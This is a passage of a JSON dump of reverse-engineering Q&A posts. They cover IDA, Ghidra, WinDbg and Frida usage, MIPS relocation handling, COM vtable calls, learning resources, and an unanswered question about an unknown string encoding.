        "Body": "<pre><code>lea     ebp, dword_403638\nlea     ebx, [ebp-4]\nmov     edi, ss:[ebx]\n</code></pre>\n\n<p>I understand the first instruction setting ebp to the address of the byte sequence. What I don't understand is what ebx will then be set to. And since ebx is being treated as an address on the stack, will edi refer to an address as well</p>\n\n<pre><code>dword_403638    dd 0\n</code></pre>\n",
        "Title": "Confused about address being referenced",
        "Tags": "|ida|binary-analysis|register|address|",
        "Answer": "<blockquote>\n  <p>I understand the first instruction setting ebp to the address of the byte sequence.</p>\n</blockquote>\n\n<p>Correct.</p>\n\n<p><code>lea ebx, [ebp - 4]</code> will set <code>ebx</code> to <code>ebp - 4</code>. On the other hand, <code>mov edi, ss:[ebx]</code> will move (copy) the data stored at stack at address <code>ebx</code> to <code>edi</code> register.</p>\n"
    },
    {
        "Id": "21674",
        "CreationDate": "2019-07-14T20:11:48.340",
        "Body": "<p>I went to stack view and named it counter, and now it appears at the top of my function, although it didn't until I named it. \n<a href=\"https://i.stack.imgur.com/YIWc7.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/YIWc7.png\" alt=\"enter image description here\"></a></p>\n\n<p>The name didn't propagate over to the program, as you can see in the mov instruction in this block.</p>\n\n<p><a href=\"https://i.stack.imgur.com/Voq9F.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Voq9F.png\" alt=\"enter image description here\"></a></p>\n",
        "Title": "Why won't IDA let me name this variable?",
        "Tags": "|ida|",
        "Answer": "<p>First of all, <code>[esp+5Ch]</code> is not the value of counter. The numbers next to the names of variables / arguments on stack are offsets with respect to <code>ebp</code>. </p>\n\n<p>So <code>[ebp-5Ch]</code> is the value of the variable counter.</p>\n\n<p>And since the variables are accessed via <code>esp</code>, not <code>rbp</code> and there is stack aligning instruction (<code>and esp, FFFFFFF0</code>), I <em>guess</em> IDA is not sure if that instruction will change <code>esp</code> or not, so it won't rename <code>[esp + offset]</code> to an argument or variable, since <code>esp</code> could have different values modulo <code>16</code> (i.e. <code>and esp, FFFFFFF0</code> will not change <code>esp</code> if <code>esp = 11111110</code>, but will change it when <code>esp = 11111118</code>) and thus different values with respect to <code>ebp</code>.</p>\n"
    },
    {
        "Id": "21676",
        "CreationDate": "2019-07-15T01:29:41.183",
        "Body": "<p>Looking for suggestions on steps that could be used to identify what code would get executed at call dword ptr es:[bx+0Ch] from static analysis. </p>\n\n<pre><code>cseg04:3044 loc_105D4:                              ; CODE XREF: cseg04:2F10\u2191j\n    cseg04:3044                 push    0\n    cseg04:3046                 push    34h ; '4'\n    cseg04:3048                 les     bx, ppMalloc\n    cseg04:304C                 push    es\n    cseg04:304D                 push    bx\n    cseg04:304E                 les     bx, es:[bx]\n    cseg04:3051                 call    dword ptr es:[bx+0Ch]\n    cseg04:3055                 add     sp, 8\n    cseg04:3058                 mov     si, ax\n    cseg04:305A                 mov     [bp-6], dx\n    cseg04:305D                 or      dx, ax\n    cseg04:305F                 jnz     short loc_105F8\n</code></pre>\n\n<p>ppMalloc section:</p>\n\n<pre><code>eg70:3612 ppMalloc        dd 0                    ; DATA XREF: cseg04:3048\u2191r\ndseg70:3612                                         ; sub_145C0+24\u2191r ...\ndseg70:3616 ; ATOM word_10CA26\ndseg70:3616 word_10CA26     dw 0                    ; DATA XREF: sub_4637E:loc_463B1\u2191r\ndseg70:3616                                         ; sub_4637E+3A\u2191r ...\ndseg70:3618 word_10CA28     dw 0                    ; DATA XREF: sub_CE2A+1\u2191o\ndseg70:3618                                         ; cseg03:2F9C\u2191o ...\ndseg70:361A                 db    0\ndseg70:361B                 db    0\ndseg70:361C                 db    0\ndseg70:361D                 db    0\ndseg70:361E                 db    0\ndseg70:361F                 db    0\ndseg70:3620                 db    0\ndseg70:3621                 db    0\ndseg70:3622                 db    0\ndseg70:3623                 db    0\ndseg70:3624                 db    0\ndseg70:3625                 db    0\ndseg70:3626 unk_10CA36      db    0                 ; DATA XREF: sub_CE2A+A\u2191o\ndseg70:3626                                         ; cseg03:2F93\u2191o ...\ndseg70:3627                 db    0\ndseg70:3628                 db    0\ndseg70:3629                 db    0\ndseg70:362A                 db    0\ndseg70:362B                 db    0\ndseg70:362C                 db    0\ndseg70:362D                 db    0\ndseg70:362E                 db    0\ndseg70:362F                 db    0\ndseg70:3630                 db    0\ndseg70:3631                 db    0\ndseg70:3632                 dw 0\n</code></pre>\n",
        "Title": "Find Target to Call Dword Ptr in 16-bit Windows with IDA Pro",
        "Tags": "|ida|windows|",
        "Answer": "<p>My guess is that <code>ppMalloc</code> is a pointer to an instance of the <a href=\"https://docs.microsoft.com/en-us/windows/win32/api/objidl/nn-objidl-imalloc\" rel=\"nofollow noreferrer\"><code>IMalloc</code></a> COM interface (e.g. it was initialized by a call to <code>CoGetMalloc</code>), which means the the first pointer in it (loaded by the <code>les</code> instruction) is the VTable which has the following methods. </p>\n\n<p>First three are inherited from IUnknown, the parent of all COM objects:</p>\n\n<hr>\n\n<p>+00 QueryInterface </p>\n\n<p>+04 AddRef</p>\n\n<p>+08 Release</p>\n\n<hr>\n\n<p>Followed by the methods of IMalloc proper:</p>\n\n<hr>\n\n<p>+0C <a href=\"https://docs.microsoft.com/en-us/windows/win32/api/objidl/nf-objidl-imalloc-alloc\" rel=\"nofollow noreferrer\">Alloc</a></p>\n\n<p>+10 DidAlloc</p>\n\n<p>+14 Free</p>\n\n<p>+18 GetSize</p>\n\n<p>+1C HeapMinimize</p>\n\n<p>+20 Realloc </p>\n\n<hr>\n\n<p>So the code is probably calling <code>IMalloc::Malloc</code> to allocate 0x34 bytes, pointer to which is returned in the <code>ax:dx</code> register pair. </p>\n"
    },
    {
        "Id": "21677",
        "CreationDate": "2019-07-15T07:33:58.303",
        "Body": "<p>I'm really interested in learning reverse engineering. Especially in regards to malware. Any help is much appreciated </p>\n\n<p>What should I learn before I start to learn reverse engineering? </p>\n\n<p>Is learning C/C++ a MUST?</p>\n\n<p>Should I learn Assembly language?</p>\n\n<p>If I know nothing about reverse engineering, is Ghidra a good tool to learn with or should I become familiar with IDA and OllyDbg first?</p>\n\n<p>Any good sources/tutorials in particular that you recommend?</p>\n",
        "Title": "Cyber security student wanting to start learning reverse engineering",
        "Tags": "|assembly|ollydbg|malware|c++|ghidra|",
        "Answer": "<p>It's always good to have a big goal in mind, and with RE, the beginning stages of this pursuit may seem overwhelming. I see a lot of great answers here so just want to chip in with my take on what your immediate next steps should be.</p>\n<p>I agree, asm is a must. There's pros and cons for choosing a particular one but I suggest choosing one and really stick with it, and stay with a particular syntax so you can walk away from that stage in your learning feeling confident. Don't be afraid to learn C/C++ at the same time, they can be used to understand each other! A youtuber named &quot;What's Creel&quot; takes this approach in his assembly tutorials.</p>\n<p>I also want to encourage you to &quot;go where your resources take you.&quot; If you find a great tutorial using radare2, forget ghidra and ida for now just go with the teacher that's in front of you and that you like at that moment. To me this is true for systems as well. If you are watching John Hammond complete CTFs on youtube, download an Ubuntu iso for a virtual machine and follow along. Nothing beats hands on learning, and if you are exhausted learn to rest effectively as well! Eat well, exercise, get enough sleep etc.</p>\n<p>This brings me to my last point, know thyself! If you know what type of learner you are, seek those resources so you can learn more effectively. Personally I'm a mixture of visual, and social. That social piece really helps me whether it's listening to 2 people discuss something on a podcast or talking with someone myself over coffee, those conversations nail home the concepts I'm trying to comprehend. Some people can just read a manual and learn from that, or experiment with code till they understand what's going on. Whatever it is, just embrace and multiply it so you can avoid the (ultimate) feelings of despair technical fields like this have. These different approaches to learning might also differ depending on your mood or environment, so don't forget to be flexible!\nHere's a list of resources, some directly support the RE / malware goal you've stated, and some indirectly will help you be it supporting technology knowledge or technical creativity.</p>\n<h1>Podcasts</h1>\n<ul>\n<li><p>Security Now with Steve Gibson</p>\n</li>\n<li><p>Software Engineering Daily</p>\n</li>\n<li><p>Kubernetes Podcast</p>\n</li>\n<li><p>CppCast</p>\n</li>\n<li><p>Darknet Diaries (creativity!)</p>\n</li>\n</ul>\n<h1>YouTube tutorials</h1>\n<ul>\n<li><p>Me, <a href=\"https://youtu.be/_K_9yBHkXEE\" rel=\"nofollow noreferrer\">reading the intel manual</a> and asking questions, beats reading alone</p>\n</li>\n<li><p>Liveoverflow, very professional and engaging, start with his <a href=\"https://youtu.be/iyAyN3GFM7A\" rel=\"nofollow noreferrer\">Binary Exploitation series</a></p>\n</li>\n<li><p>Conferences, Conferences, Conferences. I learn so much from these talks maybe start with <a href=\"https://youtu.be/HddFGPTAmtU\" rel=\"nofollow noreferrer\">Cpp con 2018</a> but you'll want a really good handle on the basics first</p>\n</li>\n<li><p>Ippsec, what can I say this guy <a href=\"https://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA\" rel=\"nofollow noreferrer\">does it all!</a></p>\n</li>\n</ul>\n<p>youtube is just a treasure trove, I'm sure I'm forgetting a ton...</p>\n<h1>Misc / Passive learning</h1>\n<ul>\n<li><p>TinyCards app, I made three decks of x86 assembly instructions</p>\n</li>\n<li><p>SoloLearn and Enki app, just basic programming language intro, q&amp;a formart.</p>\n</li>\n<li><p>Reddit, the AskNetSec subreddit seems to have the highest quality discussions</p>\n</li>\n</ul>\n<h1>Active Learning</h1>\n<ul>\n<li><p>Do! Create! Students just learning programming, hardware, networking, etc. will often complain to me about not understanding and when I ask what they've done the only things I hear are passive. You can't learn this stuff without getting your hands dirty, even if that means writing down your thoughts or questions (they don't need to be answered right away...) but if you can write programs or test malware in a VM yourself that'd be even better.</p>\n</li>\n<li><p>Have a github account</p>\n</li>\n<li><p>Make a learning journal for reflection</p>\n</li>\n</ul>\n<p>The last thing I'd like to say, and I'm not trying to discourage you at all, but try to get a strong grasp of the fundamentals, doing so should accelerate your progress. I'm often reminded of this picture when I hear students talking about their tech dreams and 1 month into class I see they don't have the mental stamina to work on something for longer than 10 minutes, in this case though just replace &quot;bug hunting&quot; with &quot;reverse engineering,&quot; because they are both long term goals:\n<a href=\"https://i.stack.imgur.com/yiV0f.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/yiV0f.jpg\" alt=\"enter image description here\" /></a></p>\n<p>Remember, one step at a time!</p>\n"
    },
    {
        "Id": "21682",
        "CreationDate": "2019-07-16T06:51:14.750",
        "Body": "<pre><code>kd&gt; u win32k!impPsIsThreadTerminating+0xe4-c L5\n    |   \\              \\                \\  \\   \\\n   /     \\              \\                \\  \\   \\\n  /       \\              \\                \\  \\   \\\ndisassemble\\              \\                \\  \\   \\\n        ModuleName      SymbolName      Offset \\   \\\n                                              ???   \\ \n                                                   ObjectCount\n</code></pre>\n\n<p>So How to intepret <code>-c</code> ?</p>\n",
        "Title": "What does -c mean in this Windbg Command Syntax?",
        "Tags": "|windows|windbg|",
        "Answer": "<p>without any supporting context the <strong>-c</strong> will be treated as <strong>0xc</strong> and it will be subtracted from the address<br>\nresolved by <strong>win32k!impPsIsThreadTerminating+0xe4</strong> </p>\n\n<p>be aware the 0xe4 is will be properly relevant most of the times only if you have an unoptimized build.    </p>\n\n<p>because after optimization functions can and will be divided into chunks \nby the compiler     </p>\n\n<p>and the least probable paths of code flow will be placed either before or after the function  </p>\n\n<p>suppose win32k!impPsIsThreadTerminating resolves to 0x000000007fffff00<br>\nthen if it is an unoptimized build<br>\n<strong>win32k!impPsIsThreadTerminating+0xe4</strong> will resolve to 0x000000007fffffe4    </p>\n\n<p>now 0xc will be subtracted from this address and the unassemble command will unassemble 5 instruction from this address</p>\n\n<pre><code>0:000&gt; ? vect!main\nEvaluate expression: 140699673489328 = 00007ff7`320eefb0\n\n0:000&gt; ? vect!main+e4\nEvaluate expression: 140699673489556 = 00007ff7`320ef094\n\n0:000&gt; ? vect!main+e4-c\nEvaluate expression: 140699673489544 = 00007ff7`320ef088\n\n0:000&gt; u vect!main+e4-c l5  &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;\n\n\n00007ff7`320ef088 30488d          xor     byte ptr [rax-73h],cl &lt;&lt;&lt;&lt; see address\n00007ff7`320ef08b 4c2448          and     al,48h\n00007ff7`320ef08e e81a63ffff      call    vect!ILT+17320 (00007ff7`320e53ad)\n00007ff7`320ef093 eb0a            jmp     vect!main+0xef (00007ff7`320ef09f)\n00007ff7`320ef095 488d4c2430      lea     rcx,[rsp+30h]\n</code></pre>\n"
    },
    {
        "Id": "21685",
        "CreationDate": "2019-07-16T11:50:27.607",
        "Body": "<p>I am quite new to reverse engineering. I have opened .dll (x86) in IDA Pro and I have noticed few exported functions. The issue is that all of them looks like this:</p>\n\n<p><a href=\"https://i.stack.imgur.com/KQavy.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/KQavy.png\" alt=\"screenshot\"></a></p>\n\n<p>IDA pseudocode:</p>\n\n<pre><code>int __stdcall GameLauncher_StartGameW(int a1, int a2, int a3, int a4, int a5, int a6, int a7)\n{\n  return (*(int (__stdcall **)(int, int, int, int, int, int))(*(_DWORD *)a1 + 8))(a2, a3, a4, a5, a6, a7);\n}\n</code></pre>\n\n<p>If I understand this correctly I need to get a1 object (eax) to actually get the function that I want to reverse engineer. Am I right? Is there any easy way to get this object to get the function offset?</p>\n",
        "Title": "Exported DLL function has only stdcall with some offset",
        "Tags": "|ida|windows|dll|",
        "Answer": "<p>The easiest way would be just to set a breakpoint where the <code>call</code> instruction is and then perform <em>step into</em> - you will be redirected to the right function.</p>\n\n<p>You can also check it statically assuming that you know where the <code>GameLauncher_StartGameW</code> is called. Notice that  just before <code>call [eax+8]</code>, <code>eax</code> contains <code>*arg0</code> value. If you know the arguments' values, you will also get the address of the function being called.</p>\n"
    },
    {
        "Id": "21693",
        "CreationDate": "2019-07-16T19:52:53.840",
        "Body": "<p>I'm working on reverse engineering a firmware which I was able to get its functions control flow graphs to display successfully on Ghidra. I am trying to see if there is a way to save those control flow graphs as a text file or something parse able so that I can write a parser for it and use it in my program (I want to recreate the graph programmatically to train my program to detect certain functions). Thank you!</p>\n",
        "Title": "Save Ghidra's control flow graph into a parsable format",
        "Tags": "|ghidra|control-flow-graph|",
        "Answer": "<p>After a few days of trial and error I figured out something called GhidraDev which is an add-on to eclipse, through it you can create your own Ghidra projects and use the API with ease. Instructions on how to install it into eclipse can be found in ghidra_9.0.4 -> Extensions -> Eclipse -> GhidraDev -> GhidraDev_README.html.</p>\n\n<p>Ghidra can be downloaded here: <a href=\"https://ghidra-sre.org/\" rel=\"nofollow noreferrer\">https://ghidra-sre.org/</a></p>\n"
    },
    {
        "Id": "21697",
        "CreationDate": "2019-07-17T03:13:13.653",
        "Body": "<p>I am poking around some PS2 ELFs and I found this weird issue where Ghidra seems to be doubling the value of this byte for some reason.  </p>\n\n<p>Here's what Ghidra shows:</p>\n\n<pre><code>                             undefined Money_get()\n             undefined         v0_lo:1        &lt;RETURN&gt;\n                             Money_get                    XREF[1]:   Entry Point(*)\n001bcb90 ec 00 01 3c     lui        at,0xec\n001bcb94 98 00 03 3c     lui        v1,0x98\n001bcb98 e8 aa 25 8c     lw         a1,-0x5518(at)=&gt;DAT_00ebaae8\n</code></pre>\n\n<p>And what IDA shows:  </p>\n\n<pre><code>main:001BCB90 Money_get:                          # CODE XREF: plmove_find_02+178\u2191p\nmain:001BCB90                                     # Item_get+70\u2191p\nmain:001BCB90                 lui     $at, 0x76\nmain:001BCB94                 lui     $v1, 0x98\nmain:001BCB98                 lw      $a1, 0x7657A8\n</code></pre>\n\n<p>What IDA shows is the correct disassembly.  The first line is supposed to be </p>\n\n<pre><code>lui $at, 0x76  \n</code></pre>\n\n<p>But for some reason Ghidra has doubled the 0x76 to 0xEC. And because of that the address loaded in the 3rd line is incorrect.   I've double checked that the input files are identical and I know IDA is the correct one because the gameshark code for this particular game modifies that address.  </p>\n\n<p>I even confirmed in a hex editor that the byte should be 0x76 but in Ghidra's own hex output it shows it as 0xEC.  So during input it's doubling it for some reason.  </p>\n\n<p>So any reason why Ghidra is doing this?  I tried reloading the file and analyzing as a generic MIPS (thinking it was the PS2 ELF loader I used) and it did the same thing.</p>\n\n<p>So I did some more testing and when I strip off the ELF header and load the file as a raw binary then Ghidra loads it correctly.  So I wonder what in the ELF header would cause Ghidra to modify that byte?</p>\n",
        "Title": "Any reason why Ghidra is screwing with this byte in this dissassembly?",
        "Tags": "|disassembly|mips|ghidra|",
        "Answer": "<p>This has something to do with the way Ghidra handles relocations. Loading the <code>SLUS_204.99</code> binary with the following processor options and relocations disabled.</p>\n\n<pre><code>Processor: MIPS\nVariant: 64-32addr\nSize: 32\nEndian: little\nCompiler: default\n</code></pre>\n\n<p><a href=\"https://i.stack.imgur.com/9IA0j.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/9IA0j.png\" alt=\"enter image description here\"></a></p>\n\n<p>The disassembly is the same as that of IDA.</p>\n\n<p><a href=\"https://i.stack.imgur.com/lAy7r.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/lAy7r.png\" alt=\"enter image description here\"></a></p>\n\n<hr>\n\n<p>Using <code>readelf</code> shows that there are relocations of type <code>R_MIPS_26</code> at the said address.</p>\n\n<pre><code>$  mipsel-linux-gnu-readelf --relocs SLUS_204.99 | grep \"Money_get\"\n\n Offset     Info    Type            Sym.Value  Sym. Name\n\n...\n\n0014b3b8  004add04 R_MIPS_26         001bcb90   Money_get\n001bc290  004add04 R_MIPS_26         001bcb90   Money_get\n011432c8  004add04 R_MIPS_26         001bcb90   Money_get\n01144af0  004add04 R_MIPS_26         001bcb90   Money_get\n01144b0c  004add04 R_MIPS_26         001bcb90   Money_get\n01145090  004add04 R_MIPS_26         001bcb90   Money_get\n01145204  004add04 R_MIPS_26         001bcb90   Money_get\n0114527c  004add04 R_MIPS_26         001bcb90   Money_get\n01145ae8  004add04 R_MIPS_26         001bcb90   Money_get\n01145b24  004add04 R_MIPS_26         001bcb90   Money_get\n01145b68  004add04 R_MIPS_26         001bcb90   Money_get\n01145b9c  004add04 R_MIPS_26         001bcb90   Money_get\n01140e3c  004add04 R_MIPS_26         001bcb90   Money_get\n01140e5c  004add04 R_MIPS_26         001bcb90   Money_get\n010063d4  004add04 R_MIPS_26         001bcb90   Money_get\n01006bfc  004add04 R_MIPS_26         001bcb90   Money_get\n010081e4  004add04 R_MIPS_26         001bcb90   Money_get\n0102b93c  004add04 R_MIPS_26         001bcb90   Money_get\n0102c454  004add04 R_MIPS_26         001bcb90   Money_get\n0102d3e8  004add04 R_MIPS_26         001bcb90   Money_get\n0102dc90  004add04 R_MIPS_26         001bcb90   Money_get\n...\n</code></pre>\n\n<p>So the error is likely in the <a href=\"https://github.com/NationalSecurityAgency/ghidra/blob/c7f934c9d1fcc55731d7d388e46407fd4775072b/Ghidra/Processors/MIPS/src/main/java/ghidra/app/util/bin/format/elf/relocation/MIPS_ElfRelocationHandler.java#L418\" rel=\"noreferrer\">code</a> that handles relocation of type <code>R_MIPS_26</code>.</p>\n"
    },
    {
        "Id": "21698",
        "CreationDate": "2019-07-17T14:49:38.673",
        "Body": "<p>I'm reversing a firmware, that comes in one big binary chunk(<code>.bin</code> file). </p>\n\n<p>After some reversing, I could identify that the big bin has two segments - text and data. Now I want to split the original segment into those two segments. </p>\n\n<p>For example:</p>\n\n<p>Original file segments:</p>\n\n<pre><code>Name   start   end\nROM    0x0     0x21bd\n</code></pre>\n\n<p>One big segment containing all the code and data. </p>\n\n<p>Desired result segments:</p>\n\n<pre><code> Name  start   end\n.text  0x0     0x11bd \n.data  0xc000  0xd000\n</code></pre>\n\n<p>I want to split the one big segment into two nonadjusted segments, like this. \nthe <code>.data</code> section should hold the bytes from the original <code>ROM</code> section. In other words, 0x11bd - 0x21bd from the original <code>ROM</code> section should be copied to \n0xc000 - 0xd000 of the new data section.</p>\n\n<p>Any ideas how can I achieve this?</p>\n",
        "Title": "Split IDA segment into sub segments",
        "Tags": "|ida|firmware|idapython|segmentation|",
        "Answer": "<p>Open the segments window in IDA. Go to edit that one big segment you have. Change the name to <code>.text</code> and edit the permissions as applicable. Uncheck \"Move adjacent segments\" and \"Disable addresses\", this step is very important, it's what prevents the actual segment data from being deleted. Change the end address to be the end of the <code>.text</code> segment. Click ok and confirm the edit. Right click, and select \"Add segment\", set the name to <code>.data</code> and fill in the start and end addresses as the addresses it was previously loaded at. Then go to Edit -> Segments -> Move current segment to select the correct start address.</p>\n"
    },
    {
        "Id": "21701",
        "CreationDate": "2019-07-17T18:23:22.077",
        "Body": "<p>I'm new with frida and came to this problem.</p>\n\n<p>I have dll that I want to reverse engeneer(there are no debug symbols). Specifically I want to dump some data from a function. So I have this big function and here is the fragment of it:</p>\n\n<p><a href=\"https://i.stack.imgur.com/Nty3s.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Nty3s.png\" alt=\"enter image description here\"></a></p>\n\n<p>Here you can see that some string(<code>pf4</code>) is moved to <code>edx</code>, but more important thing comes after that. You can see that <code>sub_575FD30</code>\nfunction is called couple of times. </p>\n\n<p>The most interesting thing for me is the <code>eax</code> register after the call. So what I want to do is to dump value of <code>eax</code> after the call of this function.</p>\n\n<p>I can't consider dumping something from <code>sub_575FD30</code> function because that function is called from many other places and I specifically want to dump <code>eax</code> after calling it in this specific example.</p>\n\n<p>My question is how can I acheive it using frida? Should I hardcode the instruction address(address of <code>push eax</code>) and get value of <code>eax</code>? Is it the correct way or is there some better way to achieve it? Any direction of how to achieve it and script example would be appriciated.</p>\n",
        "Title": "Dump value of register using frida",
        "Tags": "|disassembly|windows|debugging|functions|frida|",
        "Answer": "<p>The Details are all available in the <a href=\"https://www.frida.re/docs/javascript-api/\" rel=\"nofollow noreferrer\">Javascript API documentation for Interceptor</a></p>\n\n<p>below is a small demo</p>\n\n<p>assuming you have a source code as below the adder function will be called from 3 places \nfor a total of 26 times</p>\n\n<pre><code>#include &lt;stdio.h&gt;\nint adder( int a , int b) {\n    return a+b;\n}\nint addonce (int a, int b) {\n    return adder(a,b);\n}\nint addtwice (int a, int b) {\n    return adder(a,b) + adder (a,b);\n}\nint addntimes(int a, int b, int c) {\n    int res = 0;\n    for (int i = 0; i &lt; c; i++ ) {\n        res = res + adder(a,b);\n    }\n    return res;\n}\nvoid main(void) {\n    getchar();\n    printf(\"%d\\n\", addonce(2,3));\n    printf(\"%d\\n\", addtwice(2,3));\n    printf(\"%d\\n\", addntimes(2,3,10));\n    printf(\"%d\\n\", addonce(2,3)+addtwice(2,3)+addntimes(2,3,10));\n}  \n</code></pre>\n\n<p>compiled with vs 2017 community  and executed </p>\n\n<pre><code>cl /Zi /W4 /analyze /Od /EHsc mulcall.cpp /link / release \n5\n10\n50\n65\n</code></pre>\n\n<p>Frida python script </p>\n\n<pre><code>import frida\nimport sys\n\nsession = frida.attach(\"mulcall.exe\")\nscript = session.create_script(\"\"\"\nInterceptor.attach\n(\n    ptr(\"%s\"),\n    {\n        onEnter: function(args) \n        {\n            console.log(\"entering  intercepted function will return to \" + this.returnAddress);\n        } ,\n        onLeave: function(retval)\n        {\n            console.log( \"leaving intercepted function returning \" + retval.toInt32());\n        }\n    }\n);\n\"\"\" % int(sys.argv[1], 16))\n\ndef on_message(message, data):\n    print(message)\nscript.on('message', on_message)\nscript.load()\nsys.stdin.read()\n</code></pre>\n\n<p>you need the address of adder function that you have to pass (in your case the 5xxx address of sub_yyyy) be aware ASLR may come into play you always need a fresh address of the running instance not some stale address of past instances  </p>\n\n<p>you will run the script like this </p>\n\n<pre><code>python friscript.py 7ff670901000\n</code></pre>\n\n<p>the 0x00007ff670901000 is the address of adder() for me\nI have executed the exe and it is waiting for a keypress \nnow I run the above script \nit attaches and waits until I press a key in the waiting instance </p>\n\n<p>here is the output of Frida </p>\n\n<pre><code>python friscript.py 7ff670901000\nentering  intercepted function will return to 0x7ff670901039\nleaving intercepted function returning 5\nentering  intercepted function will return to 0x7ff670901069\nleaving intercepted function returning 5\nentering  intercepted function will return to 0x7ff67090107a\nleaving intercepted function returning 5\nentering  intercepted function will return to 0x7ff6709010d4\nleaving intercepted function returning 5 (10 times)\nentering  intercepted function will return to 0x7ff670901039\nleaving intercepted function returning 5\nentering  intercepted function will return to 0x7ff670901069\nleaving intercepted function returning 5\nentering  intercepted function will return to 0x7ff67090107a\nleaving intercepted function returning 5\nentering  intercepted function will return to 0x7ff6709010d4\nleaving intercepted function returning 5 (10 times)\n</code></pre>\n\n<p>EDIT to address Comment</p>\n\n<p>if eax is a pointer to some type (ansi,wide,utf8,utf16,bytearray,struct *)</p>\n\n<p>use the appropriate helper function  in onLeave {}<br>\nhere is an implementation for a function returning a struct *<br>\nstruct { int a , char * b }   </p>\n\n<pre><code>  // hack for getting the next member of struct  (adding pointer size  of \n  // 32bit machine read documents to see if you can cast the return \n  // value to proper structure type \n  // so that we can use (foo *) (this.context.eax)-&gt;a \n  // instead of hacks like add(4) \n\n  foo = Memory.readPointer(this.context.eax.add(4)) \n  blah = Memory.readCString(foo)\n  log( blah )\n</code></pre>\n"
    },
    {
        "Id": "21704",
        "CreationDate": "2019-07-17T20:12:59.947",
        "Body": "<p>I have an old application that stores the username and password in plaintext but encoded by an unknown encoding algorithm to me, it seams like base64, but I think it's not,\nIt seams that any word longer than 22 or 23 is truncated, but unfortunately there's some odd examples that changes the last character</p>\n\n<pre><code>for example:\n\nInput: ABCDEFGHIJKLMNOPQRSTUV\nOutput: //DeparF3/jFcmVGBf5LcmNHYqJBmw\n\nInput: ABCDEFGHIJKLMNOPQRSTUVWXYZ\nOutput: //DeparF3/jFcmVGBf5LcmNHYqJBmw\n\nInput: ABCDEFGHIJKLMNOPQRSTUV1\nOutput: //DeparF3/jFcmVGBf5LcmNHYqJBm2\n\nInput: ABCDEFGHIJKLMNOPQRSTUV123456\nOutput: //DeparF3/jFcmVGBf5LcmNHYqJBm2\n\nInput: 1234567890123456789012\nOutput: j4Cu1dq1r4i1CB84e4QxFAUtCMYl/w\n\nInput: 12345678901234567890123\nOutput: j4Cu1dq1r4i1CB84e4QxFAUtCMYl/2\n\nInput: 123456789012345678901234\nOutput: j4Cu1dq1r4i1CB84e4QxFAUtCMYl/2\n\nInput: 1234567890123456789012a\nOutput: j4Cu1dq1r4i1CB84e4QxFAUtCMYl/z\n\nInput: 1234567890123456789012ab\nOutput: j4Cu1dq1r4i1CB84e4QxFAUtCMYl/z\n\nInput: 1234567890123456789012c\nOutput: j4Cu1dq1r4i1CB84e4QxFAUtCMYl/z\n\nInput: 1234567890123456789012F\nOutput: j4Cu1dq1r4i1CB84e4QxFAUtCMYl/x\n\nInput: 1234567890123456789012V\nOutput: j4Cu1dq1r4i1CB84e4QxFAUtCMYl/w\n\nInput: 1A2B3C4D5E6F7G8H9I0J1K\nOutput: j/Ovo9zArPS5fRhMf/c8agtcAbwlhg\n\nInput: 1A2B3C4D5E6F7G8H9I0J1K2\nOutput: j/Ovo9zArPS5fRhMf/c8agtcAbwlhm\n\nInput: 1A2B3C4D5E6F7G8H9I0J1K3\nOutput: j/Ovo9zArPS5fRhMf/c8agtcAbwlhm\n\nInput: 1A2B3C4D5E6F7G8H9I0J1KL\nOutput: j/Ovo9zArPS5fRhMf/c8agtcAbwlhh\n\nInput: 1A2B3C4D5E6F7G8H9I0J1KM\nOutput: j/Ovo9zArPS5fRhMf/c8agtcAbwlhh\n\nInput: A1B2C3D4E5F6G7H8I9J0KL\nOutput: /4Pf06yw3ITJDWg8D4dMGnsse8ZfgQ\n\nInput: A1B2C3D4E5F6G7H8I9J0KLM\nOutput: /4Pf06yw3ITJDWg8D4dMGnsse8ZfgR\n\nInput: A1B2C3D4E5F6G7H8I9J0KL7\nOutput: /4Pf06yw3ITJDWg8D4dMGnsse8ZfgW\n\nInput: abcABC123/+321++1GWZVV\nOutput: 39D+oK3AqYK/FwU5eoEvCQNSZqxCmw\n\nInput: abcABC123/+321++1GWZVV1\nOutput: 39D+oK3AqYK/FwU5eoEvCQNSZqxCm2\n\nInput: lkjsd2093jljsdLJSDl12A\nOutput: 0tn3kouxqIm/UkJgO9RIaGFRXccmjA\n\nInput: lkjsd2093jljsdLJSDl123\nOutput: 0tn3kouxqIm/UkJgO9RIaGFRXccm/g\n\nInput: lkjsd2093jljsdLJSDl1234\nOutput: 0tn3kouxqIm/UkJgO9RIaGFRXccm/m\n\nInput: aaaaaaaaaaaaaaaaaaaaaa\nOutput: 39P8gI7i+dHtWU9rKdFlQ1N0UJd1rA\n\nInput: aaaaaaaaaaaaaaaaaaaaaaa\nOutput: 39P8gI7i+dHtWU9rKdFlQ1N0UJd1rD\n\nInput: aaaaaaaaaaaaaaaaaaaaaa1\nOutput: 39P8gI7i+dHtWU9rKdFlQ1N0UJd1rG\n\nInput: aaaaaaaaaaaaaaaaaaaaaaF\nOutput: 39P8gI7i+dHtWU9rKdFlQ1N0UJd1rB\n\nInput: 1111111111111111111111\nOutput: j4Os0N6yqYG9CR87eYE1EwMkAMcl/A\n\nInput: 11111111111111111111111\nOutput: j4Os0N6yqYG9CR87eYE1EwMkAMcl/G\n\nInput: a\nOutput: 3w==\n\nInput: c\nOutput: 3Q==\n\nInput: ab\nOutput: 39A=\n\nInput: abc\nOutput: 39D+\n\nInput: abcd\nOutput: 39D+hQ==\n\nInput: abcde\nOutput: 39D+hYo=\n\nInput: abcdef\nOutput: 39D+hYrl\n\nInput: abcdefg\nOutput: 39D+hYrl/w==\n\nInput: abcdefgh\nOutput: 39D+hYrl/9g=\n\nInput: 123\nOutput: j4Cu\n\nInput: 1234\nOutput: j4Cu1Q==\n\nInput: 12345\nOutput: j4Cu1do=\n\nInput: 123456\nOutput: j4Cu1dq1\n</code></pre>\n\n<p>Any idea? \nThanks!</p>\n",
        "Title": "How to identify the encoding performed on this string",
        "Tags": "|encryption|encodings|strings|",
